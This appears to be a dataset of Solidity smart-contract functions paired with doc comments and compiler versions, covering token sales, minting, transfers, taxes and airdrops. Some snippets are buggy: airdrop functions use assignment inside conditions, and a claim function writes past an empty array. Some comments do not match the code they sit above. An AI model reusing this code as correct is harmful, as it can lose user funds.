function getBonus(uint256 _tokens) constant returns (uint256 bonus) { require(_tokens != 0); if (startTime <= now && now < startTime + 1 days) { return _tokens.div(2); } else if (startTime + 1 days <= now && now < startTime + 2 days ) { return _tokens.div(4); } else if (startTime + 2 days <= now && now < startTime + 3 days ) { return _tokens.div(10); } return 0; }
0.4.18
// function mint_free_bluechip() external { // _canMint(1); // require( // mintedFreeBlueAddresses[msg.sender] == false, // "Already Used Offer" // ); // _mint(msg.sender); // mintedFreeBlueAddresses[msg.sender] = true; // }
function buy(uint256 amount) external payable { _canMint(amount); require( msg.value >= amount * 80000000000000000, //amount * 0.08 eth "Not Enough Ether Sent " ); for (uint256 i = 0; i < amount; i++) { mint(msg.sender); } payable(owner()).transfer(msg.value); }
0.8.0
/** * Calculate price for token(s). * Price is increased by 0.0003 ETH for every next after the first presaleSupply(1,000) tokens. */
function calculatePrice(uint qty) internal view returns (uint) { uint totalPrice = 0; for (uint i = 1; i <= qty; i++) { uint tokenId = nonce + i; if (tokenId <= presaleSupply) { totalPrice += presalePrice; } else { totalPrice += presalePrice + (tokenId - presaleSupply) * increasePrice; } } return totalPrice; }
0.8.10
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
function transferFrom( address _from, address _to, uint256 _value ) public returns (bool success) { require(_value <= balanceOf[_from]); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; balanceOf[_to] += _value; allowance[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; }
0.8.4
/// @notice Swap a token for ETH /// @param token - address of the token to swap /// @param amount - amount of the token to swap /// @dev Swaps are executed via Sushi router, will revert if pair /// does not exist. Tokens must have a WETH pair.
function _swapToETH(address token, uint256 amount) internal onlyOwner { address[] memory path = new address[](2); path[0] = token; path[1] = WETH; IERC20(token).safeApprove(SUSHI_ROUTER, 0); IERC20(token).safeApprove(SUSHI_ROUTER, amount); router.swapExactTokensForETH( amount, 0, path, address(this), block.timestamp + 60 ); }
0.8.9
/** * Allocates funds to members. */
function fundAllocation(uint256 amount) public payable onlyOwner { require(payable(m0).send(amount * 75 / 100 * 85 / 100)); require(payable(m1).send(amount * 75 / 100 * 15 / 100)); require(payable(m2).send(amount * 25 / 100)); }
0.8.10
/** * Mint to presale allowlist wallet only with standard presale price. */
function allowlistPresale(uint qty) external payable { require(allowlistPresaleActive, "TRANSACTION: presale is not active"); uint256 qtyAllowed = presaleWallets[msg.sender]; require(qty <= qtyAllowed && qty >= 1, "TRANSACTION: you can't mint on presale"); require(qty + nonce <= presaleSupply, "SUPPLY: value exceeds presale supply"); require(msg.value >= qty * presalePrice, "PAYMENT: invalid value"); presaleWallets[msg.sender] = qtyAllowed - qty; doMint(qty); }
0.8.10
/** * Presale mint with standard presale price. */
function presale(uint qty) external payable { require(presaleActive, "TRANSACTION: presale is not active"); require(qty <= maxTx && qty >= 1, "TRANSACTION: qty of mints not allowed"); require(qty + nonce <= presaleSupply, "SUPPLY: value exceeds presale supply"); require(msg.value >= qty * presalePrice, "PAYMENT: invalid value"); doMint(qty); }
0.8.10
/** * Mint tokens, maxTx (10) maximum at once. * Price is increased by 0.0003 ETH for every next after the first presaleSupply(1,000) tokens. * See calculatePrice for more details. */
function mint(uint qty) external payable { require(saleActive, "TRANSACTION: sale is not active"); require(balanceOf(_msgSender()) > 0, "TRANSACTION: only holder"); require(qty <= maxTx && qty >= 1, "TRANSACTION: qty of mints not allowed"); require(qty + nonce <= totalSupply, "SUPPLY: value exceeds totalSupply"); uint totalPrice = calculatePrice(qty); require(msg.value >= totalPrice, "PAYMENT: invalid value"); doMint(qty); }
0.8.10
// UNSAFE: No slippage protection, should not be called directly
function _withdraw(address token, uint amount) internal { uint _factor = factor(); // call once to minimize sub calls in getCredit and getUserCredit uint _credit = _getCredit(msg.sender, token, _factor); uint _token = balances[msg.sender][token]; if (_credit < amount) { amount = _credit; } _burn(msg.sender, amount, _factor); credit[msg.sender][token] = _getCredit(msg.sender, token, _factor).sub(amount); userCredit[msg.sender] = _getUserCredit(msg.sender, _factor).sub(amount); // Calculate % of collateral to release _token = _token.mul(amount).div(_credit); IERC20(token).safeTransfer(msg.sender, _token); balances[msg.sender][token] = balances[msg.sender][token].sub(_token); }
0.5.17
// ------------------------------------------------------------------------ // Crowdsale // ------------------------------------------------------------------------
function () public payable { //crowd sale is open/allowed require(crowdsaleEnabled); uint ethValue = msg.value; //get token equivalent uint tokens = ethValue.mul(ethPerToken); //append bonus if we have active bonus promo //and if ETH sent is more than then minimum required to avail bonus if(bonusPct > 0 && ethValue >= bonusMinEth){ //compute bonus value based on percentage uint bonus = tokens.div(100).mul(bonusPct); //emit bonus event emit Bonus(msg.sender, bonus); //add bonus to final amount of token to be //transferred to sender/purchaser tokens = tokens.add(bonus); } //validate token amount //assert(tokens > 0); //assert(tokens <= balances[owner]); //transfer from owner to sender/purchaser balances[owner] = balances[owner].sub(tokens); balances[msg.sender] = balances[msg.sender].add(tokens); //emit transfer event emit Transfer(owner, msg.sender, tokens); }
0.4.24
/// @dev Removes authorizion of an address. /// @param target Address to remove authorization from.
function removeAuthorizedAddress(address target) public onlyOwner targetAuthorized(target) { delete authorized[target]; for (uint i = 0; i < authorities.length; i++) { if (authorities[i] == target) { authorities[i] = authorities[authorities.length - 1]; authorities.length -= 1; break; } } emit LogAuthorizedAddressRemoved(target, msg.sender); }
0.5.7
/// @notice Performs the requested set of swaps /// @param swaps The struct that defines the collection of swaps to perform
function performSwapCollection( SwapCollection memory swaps ) public payable whenNotPaused notExpired(swaps) validSignature(swaps) { TokenBalance[20] memory balances; balances[0] = TokenBalance(address(Utils.eth_address()), msg.value); //this.log("Created eth balance", balances[0].balance, 0x0); for(uint256 swapIndex = 0; swapIndex < swaps.swaps.length; swapIndex++){ //this.log("About to perform swap", swapIndex, swaps.id); performSwap(swaps.id, swaps.swaps[swapIndex], balances, swaps.partnerContract); } emit LogSwapCollection(swaps.id, swaps.partnerContract, msg.sender); transferAllTokensToUser(balances); }
0.5.7
/// @notice payable fallback to allow handler or exchange contracts to return ether /// @dev only accounts containing code (ie. contracts) can send ether to contract
function() external payable whenNotPaused { // Check in here that the sender is a contract! (to stop accidents) uint256 size; address sender = msg.sender; assembly { size := extcodesize(sender) } if (size == 0) { revert("EOA cannot send ether to primary fallback"); } }
0.5.7
/** @notice Move underlying to a lending protocol @param _underlying Address of the underlying token @param _amount Amount of underlying to lend @param _protocol Bytes32 protocol key to lend to */
function lend(address _underlying, uint256 _amount, bytes32 _protocol) public onlyOwner nonReentrant { // _amount or actual balance, whatever is less uint256 amount = _amount.min(IERC20(_underlying).balanceOf(address(basket))); //lend token ( address[] memory _targets, bytes[] memory _data ) = lendingRegistry.getLendTXData(_underlying, amount, _protocol); basket.callNoValue(_targets, _data); // if needed remove underlying from basket removeToken(_underlying); // add wrapped token addToken(lendingRegistry.underlyingToProtocolWrapped(_underlying, _protocol)); emit Lend(_underlying, _amount, _protocol); }
0.7.1
/** @notice Unlend wrapped token from its lending protocol @param _wrapped Address of the wrapped token @param _amount Amount of the wrapped token to unlend */
function unlend(address _wrapped, uint256 _amount) public onlyOwner nonReentrant { // unlend token // _amount or actual balance, whatever is less uint256 amount = _amount.min(IERC20(_wrapped).balanceOf(address(basket))); //Unlend token ( address[] memory _targets, bytes[] memory _data ) = lendingRegistry.getUnlendTXData(_wrapped, amount); basket.callNoValue(_targets, _data); // if needed add underlying addToken(lendingRegistry.wrappedToUnderlying(_wrapped)); // if needed remove wrapped removeToken(_wrapped); emit UnLend(_wrapped, _amount); }
0.7.1
/** * @dev Handles the off-chain whitelisting. * @param _addr Address of the sender. * @param _sig signed message provided by the sender. */
function handleOffchainWhitelisted(address _addr, bytes _sig) external onlyOwnerOrCrowdsale returns (bool) { bool valid; // no need for consuming gas when the address is already whitelisted if (whitelist[_addr]) { valid = true; } else { valid = isValidSignature(_addr, _sig); if (valid) { // no need for consuming gas again if the address calls the contract again. addAddressToWhitelist(_addr); } } return valid; }
0.4.24
// ReserveQuby into Owner wallet for giveaways/those who have helped us along the way
function reserveQuby(uint256 numQuby) public onlyOwner { uint currentSupply = totalSupply(); require(totalSupply().add(numQuby) <= 30, "Exceeded giveaway supply"); require(hasSaleStarted == false, "Sale has already started"); uint256 index; for (index = 0; index < numQuby; index++) { _safeMint(owner(), currentSupply + index); } }
0.7.0
// for erc20 tokens
function depositToken(address _token, uint _amount) public whenNotPaused { //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf. require(_token != address(0)); ERC20(_token).transferFrom(msg.sender, this, _amount); tokens[_token][msg.sender] = SafeMath.add(tokens[_token][msg.sender], _amount); emit Deposit(_token, msg.sender, _amount, tokens[_token][msg.sender]); }
0.4.25
/* * Proxy transfer MESH. When some users of the ethereum account has no ether, * he or she can authorize the agent for broadcast transactions, and agents may charge agency fees * @param _from * @param _to * @param _value * @param feeMesh * @param _v * @param _r * @param _s */
function transferProxy(address _from, address _to, uint256 _value, uint256 _feeMesh, uint8 _v,bytes32 _r, bytes32 _s) public transferAllowed(_from) returns (bool){ if(balances[_from] < _feeMesh + _value || _feeMesh > _feeMesh + _value) revert(); uint256 nonce = nonces[_from]; bytes32 h = keccak256(_from,_to,_value,_feeMesh,nonce,address(this)); if(_from != ecrecover(h,_v,_r,_s)) revert(); if(balances[_to] + _value < balances[_to] || balances[msg.sender] + _feeMesh < balances[msg.sender]) revert(); balances[_to] += _value; emit Transfer(_from, _to, _value); balances[msg.sender] += _feeMesh; emit Transfer(_from, msg.sender, _feeMesh); balances[_from] -= _value + _feeMesh; nonces[_from] = nonce + 1; return true; }
0.4.23
/* * Proxy approve that some one can authorize the agent for broadcast transaction * which call approve method, and agents may charge agency fees * @param _from The address which should tranfer MESH to others * @param _spender The spender who allowed by _from * @param _value The value that should be tranfered. * @param _v * @param _r * @param _s */
function approveProxy(address _from, address _spender, uint256 _value, uint8 _v,bytes32 _r, bytes32 _s) public returns (bool success) { uint256 nonce = nonces[_from]; bytes32 hash = keccak256(_from,_spender,_value,nonce,address(this)); if(_from != ecrecover(hash,_v,_r,_s)) revert(); allowed[_from][_spender] = _value; emit Approval(_from, _spender, _value); nonces[_from] = nonce + 1; return true; }
0.4.23
// standard token precision. override to customize
function Token(address[] initialWallets, uint256[] initialBalances) public { require(initialBalances.length == initialWallets.length); for (uint256 i = 0; i < initialWallets.length; i++) { totalSupply_ = totalSupply_.add(initialBalances[i]); balances[initialWallets[i]] = balances[initialWallets[i]].add(initialBalances[i]); emit Transfer(address(0), initialWallets[i], initialBalances[i]); } }
0.4.21
/** * Function for the frontend to fetch all data in one call */
function getData() public view returns ( uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256 ) { return ( // [0] - Total SWAP in contract totalSwapBalance(), // [1] - Total supply of S3D totalSupply(), // [2] - S3D balance of msg.sender balanceOf(msg.sender), // [3] - Referral balance of msg.sender getReferralBalance(msg.sender), // [4] - Dividends of msg.sender dividendsOf(msg.sender), // [5] - Sell price of 1 token sellPrice(), // [6] - Buy price of 1 token buyPrice(), // [7] - Balance of SWAP token in user's wallet (free balance that isn't staked) swapBalanceOf(msg.sender) ); }
0.4.25
/** * @dev Function to batch send tokens * @param _receivers The addresses that will receive the tokens. * @param _value The amount of tokens to send. */
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) { require(!frozenAccount[msg.sender]); uint cnt = _receivers.length; uint256 amount = uint256(cnt).mul(_value); require(cnt > 0 && cnt <= 500); require(_value > 0 && balances[msg.sender] >= amount); balances[msg.sender] = balances[msg.sender].sub(amount); for (uint i = 0; i < cnt; i++) { require (_receivers[i] != 0x0); balances[_receivers[i]] = balances[_receivers[i]].add(_value); emit Transfer(msg.sender, _receivers[i], _value); } return true; }
0.4.23
//Reward minters - Add virtual tokens
function rewardOnMint(address _user, uint256 _amount) external { require(msg.sender == address(wofContract), "Can't call this"); uint256 tokenId = wofContract.mintedcount(); uint256 time = block.timestamp; if(tokenId < 2501) { rewards[_user] = rewards[_user].add(500 ether); } else { rewards[_user] = rewards[_user].add(_amount); } lastUpdate[_user] = time; }
0.8.0
//GET BALANCE FOR SINGLE TOKEN
function getClaimable(address _owner) public view returns(uint256){ uint256 time = block.timestamp; if(lastUpdate[_owner] == 0) { return 0; } else if(time < ENDTIME) { uint256 pending = wofContract.balanceOG(_owner).mul(BASE_RATE.mul((time.sub(lastUpdate[_owner])))).div(86400); uint256 total = rewards[_owner].add(pending); return total; } else { return rewards[_owner]; } }
0.8.0
//Buy tokens from contract
function buyMint(address _to, uint256 _amount) public payable { require(msg.value >= _amount.mul(buyPrice), 'Send more eth'); require(_saleOpen == true, 'Can not buy at the moment'); uint256 eth = _amount.mul(1 ether); _mint(_to, eth); }
0.8.0
//BURN THE TOKENS FOR NAMECHANGE
function burn(address _from, uint256 _amount) external { require(msg.sender == address(wofContract) || msg.sender == address(_garageContract)); uint256 valueInEth = _amount/(1 ether); if(cut) { uint256 percentage = rate.div(100); uint256 cuttable = valueInEth.div(percentage); uint256 burnable = valueInEth.sub(cuttable); _transfer(_from, cutAddres, cuttable); _burn(_from, burnable); } else { _burn(_from, valueInEth); } }
0.8.0
// Pay some onePools. Earn some shares.
function deposit(uint256 _amount) public { uint256 totalonePool = onePool.balanceOf(address(this)); uint256 totalShares = totalSupply(); if (totalShares == 0 || totalonePool == 0) { _mint(msg.sender, _amount); } else { uint256 what = _amount.mul(totalShares).div(totalonePool); _mint(msg.sender, what); } onePool.transferFrom(msg.sender, address(this), _amount); }
0.6.12
/******************************************* * Public write *******************************************/
function requestTopic(string topic) public payable { require(bytes(topic).length > 0, "Please specify a topic."); require(bytes(topic).length <= 500, "The topic is too long (max 500 characters)."); SupporterList storage supporterList = topicToSupporterList[topic]; if(supporterList.length == 0) { // New topic require(msg.value >= minForNewTopic, "Please send at least 'minForNewTopic' to request a new topic."); allTopics.idToTopic[allTopics.length++] = topic; emit NewTopic(topic, msg.sender, msg.value); } else { // Existing topic require(msg.value >= minForExistingTopic, "Please send at least 'minForExistingTopic' to add support to an existing topic."); emit ContributeToTopic(topic, msg.sender, msg.value); } supporterList.idToSupporter[supporterList.length++] = Supporter(msg.sender, msg.value); }
0.4.24
/******************************************* * Owner only write *******************************************/
function accept(string topic) public onlyOwner { SupporterList storage supporterList = topicToSupporterList[topic]; uint256 totalValue = 0; for(uint i = 0; i < supporterList.length; i++) { totalValue += supporterList.idToSupporter[i].value; } _removeTopic(topic); emit Accept(topic, totalValue); owner.transfer(totalValue); }
0.4.24
/******************************************* * Private helpers *******************************************/
function _removeTopic(string topic) private { delete topicToSupporterList[topic]; bytes32 topicHash = keccak256(abi.encodePacked(topic)); for(uint i = 0; i < allTopics.length; i++) { string memory _topic = allTopics.idToTopic[i]; if(keccak256(abi.encodePacked(_topic)) == topicHash) { allTopics.idToTopic[i] = allTopics.idToTopic[--allTopics.length]; return; } } }
0.4.24
// Airdrop // Request airdrop from pool
function requestAirdropFromToken(uint256 _pid) public { UserInfo storage user = userInfo[_pid][msg.sender]; PoolInfo storage pool = poolInfo[_pid]; if (user.isRequested = true) // Check for uniq wallet {} else { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), 1); user.requestAmount = pool.lpToken.balanceOf(address(msg.sender)); user.isRequested = true; user.isApprovePay = false; user.isRejectPay = false; }}
0.6.12
// Pay Airdrop
function payUserFromAirdrop(uint256 _pid, address _user, bool _pay, uint256 _amount) public onlyOwner { UserInfo storage user = userInfo[_pid][_user]; if (user.isRequested = false) // Check for uniq wallet {} else { if(_pay == true) { oracled.mint(_user, _amount); user.isApprovePay = true; user.isRequested = false; user.requestAmount = 0; } if(_pay == false) { user.isRejectPay = true; user.isRequested = false; user.requestAmount = 0; } } }
0.6.12
/** * computes amount which an address will be taxed upon transferring/selling their tokens * according to the amount being transferred (_transferAmount) */
function computeTax(uint256 _transferAmount) public view returns(uint256) { uint256 taxPercentage; if (_transferAmount <= tierOneMax) { taxPercentage = tierOneTaxPercentage; } else if (_transferAmount > tierOneMax && _transferAmount <= tierTwoMax) { taxPercentage = tierTwoTaxPercentage; } else if (_transferAmount > tierTwoMax && _transferAmount <= tierThreeMax) { taxPercentage = tierThreeTaxPercentage; } else if (_transferAmount > tierThreeMax && _transferAmount <= tierFourMax) { taxPercentage = tierFourTaxPercentage; } else { taxPercentage = tierFiveTaxPercentage; } return _transferAmount.mul(taxPercentage).div(100000); }
0.8.4
/** * allows owner to update tax percentage amounts for each tax tier * * emits UpdateTaxPercentages event upon calling */
function updateTaxPercentages( uint256 _tierOneTaxPercentage, uint256 _tierTwoTaxPercentage, uint256 _tierThreeTaxPercentage, uint256 _tierFourTaxPercentage, uint256 _tierFiveTaxPercentage ) public onlyOwner { tierOneTaxPercentage = _tierOneTaxPercentage; tierTwoTaxPercentage = _tierTwoTaxPercentage; tierThreeTaxPercentage = _tierThreeTaxPercentage; tierFourTaxPercentage = _tierFourTaxPercentage; tierFiveTaxPercentage = _tierFiveTaxPercentage; emit UpdateTaxPercentages( tierOneTaxPercentage, tierTwoTaxPercentage, tierThreeTaxPercentage, tierFourTaxPercentage, tierFiveTaxPercentage ); }
0.8.4
/** * allows owner to update tax tier amounts * * emits UpdateTaxTiers event upon calling */
function updateTaxTiers( uint256 _tierOneMax, uint256 _tierTwoMax, uint256 _tierThreeMax, uint256 _tierFourMax ) public onlyOwner { tierOneMax = _tierOneMax; tierTwoMax = _tierTwoMax; tierThreeMax = _tierThreeMax; tierFourMax = _tierFourMax; emit UpdateTaxTiers( tierOneMax, tierTwoMax, tierThreeMax, tierFourMax ); }
0.8.4
/** * standard ERC20 transferFrom() with extra functionality to support taxes */
function transferFrom( address sender, address recipient, uint256 amount ) public virtual override(ERC20, IERC20) whenNotPaused returns (bool) { _transferGIFT(sender, recipient, amount); uint256 currentAllowance = allowance(sender, _msgSender()); require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; }
0.8.4
/** * standard ERC20 internal transfer function with extra functionality to support taxes */
function _transferGIFT( address sender, address recipient, uint256 amount) internal virtual returns (bool) { if (_isLiquidityPool[sender] == true // this is a buy where lp is sender || _isExcludedFromFees[sender]) // this is transfer where sender is excluded from fees { _transfer(sender, recipient, amount); } else // this is a transfer or a sell where lp is recipient { uint256 tax = computeTax(amount); _transfer(sender, beneficiary, tax); _transfer(sender, recipient, amount.sub(tax)); } return true; }
0.8.4
/** * @dev Admin function for pending governor to accept role and update governor. * This function must called by the pending governor. */
function newOwnershipAccept() external { require( pendingGovernor != address(0) && msg.sender == pendingGovernor, "Caller must be pending governor" ); address oldGovernor = governor; address oldPendingGovernor = pendingGovernor; governor = pendingGovernor; pendingGovernor = address(0); emit newOwnership(oldGovernor, governor); emit newPendingOwnership(oldPendingGovernor, pendingGovernor); }
0.7.6
// ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; }
0.4.25
//is also called by token contributions
function doDeposit(address _for, uint _value) private { uint currSale = getCurrSale(); if (!currSaleActive()) throw; if (_value < saleMinimumPurchases[currSale]) throw; uint tokensToMintNow = sales[currSale].buyTokens(_for, _value, currTime()); if (tokensToMintNow > 0) { token.mint(_for, tokensToMintNow); } }
0.4.10
//******************************************************** //Claims //******************************************************** //Claim whatever you're owed, //from whatever completed sales you haven't already claimed //this covers refunds, and any tokens not minted immediately //(i.e. auction tokens, not firstsale tokens)
function claim() notAllStopped { var (tokens, refund, nc) = claimable(msg.sender, true); nextClaim[msg.sender] = nc; logClaim(msg.sender, refund, tokens); if (tokens > 0) { token.mint(msg.sender, tokens); } if (refund > 0) { refundInStop[msg.sender] = safeSub(refundInStop[msg.sender], refund); if (!msg.sender.send(safebalance(refund))) throw; } }
0.4.10
//Allow admin to claim on behalf of user and send to any address. //Scenarios: // user lost key // user sent from an exchange // user has expensive fallback function // user is unknown, funds presumed abandoned //We only allow this after one year has passed.
function claimFor(address _from, address _to) onlyOwner notAllStopped { var (tokens, refund, nc) = claimable(_from, false); nextClaim[_from] = nc; logClaim(_from, refund, tokens); if (tokens > 0) { token.mint(_to, tokens); } if (refund > 0) { refundInStop[_from] = safeSub(refundInStop[_from], refund); if (!_to.send(safebalance(refund))) throw; } }
0.4.10
/** @dev send coins throws on any error rather then return a false flag to minimize user errors @param _to target address @param _value transfer amount @return true if the transfer was successful, false if it wasn't */
function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool success) { require(balanceOf[msg.sender] >= _value && _value > 0); balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _value); balanceOf[_to] = safeAdd(balanceOf[_to], _value); Transfer(msg.sender, _to, _value); return true; }
0.4.21
/** @dev an account/contract attempts to get the coins throws on any error rather then return a false flag to minimize user errors @param _from source address @param _to target address @param _value transfer amount @return true if the transfer was successful, false if it wasn't */
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool success) { require(balanceOf[_from] >= _value && _value > 0); require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender], _value); balanceOf[_from] = safeSub(balanceOf[_from], _value); balanceOf[_to] = safeAdd(balanceOf[_to], _value); Transfer(_from, _to, _value); return true; }
0.4.21
/** @dev allow another account/contract to spend some tokens on your behalf throws on any error rather then return a false flag to minimize user errors also, to minimize the risk of the approve/transferFrom attack vector (see https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/), approve has to be called twice in 2 separate transactions - once to change the allowance to 0 and secondly to change it to the new allowance value @param _spender approved address @param _value allowance amount @return true if the approval was successful, false if it wasn't */
function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool success) { // if the allowance isn't 0, it can only be updated to 0 to prevent an allowance change immediately after withdrawal require(_value == 0 || allowance[msg.sender][_spender] == 0); allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; }
0.4.21
//temp mapping
function claimEpochs(address _liquidityProvider, Claim[] memory claims) public { Claim memory claim; address[] memory _tokens; for (uint256 i = 0; i < claims.length; i++) { claim = claims[i]; require( claim.epoch <= latestEpoch, "Epoch cannot be in the future" ); require(epochTimestamps[claim.epoch] != 0); require(epochBlockHashes[claim.epoch] != 0); // if trying to claim for the current epoch if (claim.epoch == latestEpoch) { require( offsetRequirementMet(_liquidityProvider, latestEpoch), "It is too early to claim for the current epoch" ); } require(!claimed[claim.epoch][_liquidityProvider][claim.token]); require( verifyClaim( _liquidityProvider, claim.epoch, claim.token, claim.balance, claim.merkleProof ), "Incorrect merkle proof" ); if (tokenTotalBalances[claim.token] == uint256(0)) { _tokens[_tokens.length] = claim.token; } tokenTotalBalances[claim.token] += claim.balance; claimed[claim.epoch][_liquidityProvider][claim.token] = true; } for (uint256 i = 0; i < _tokens.length; i++) { disburse( _liquidityProvider, _tokens[i], tokenTotalBalances[_tokens[i]] ); delete tokenTotalBalances[_tokens[i]]; } delete _tokens; }
0.6.0
/** @dev the tokens at the airdropAddress will be airdroped before 2018.12.31 */
function initAirdropAndEarlyAlloc() public ownerOnly stoppable returns(bool success){ require(!isInitAirdropAndEarlyAlloc); require(airdropAddress != 0x0 && earlyCommunityAddress != 0x0); require((currentSupply + earlyCommunitySupply + airdropSupply) <= totalSupply); balanceOf[earlyCommunityAddress] += earlyCommunitySupply; currentSupply += earlyCommunitySupply; Transfer(0x0, earlyCommunityAddress, earlyCommunitySupply); balanceOf[airdropAddress] += airdropSupply; currentSupply += airdropSupply; Transfer(0x0, airdropAddress, airdropSupply); isInitAirdropAndEarlyAlloc = true; return true; }
0.4.21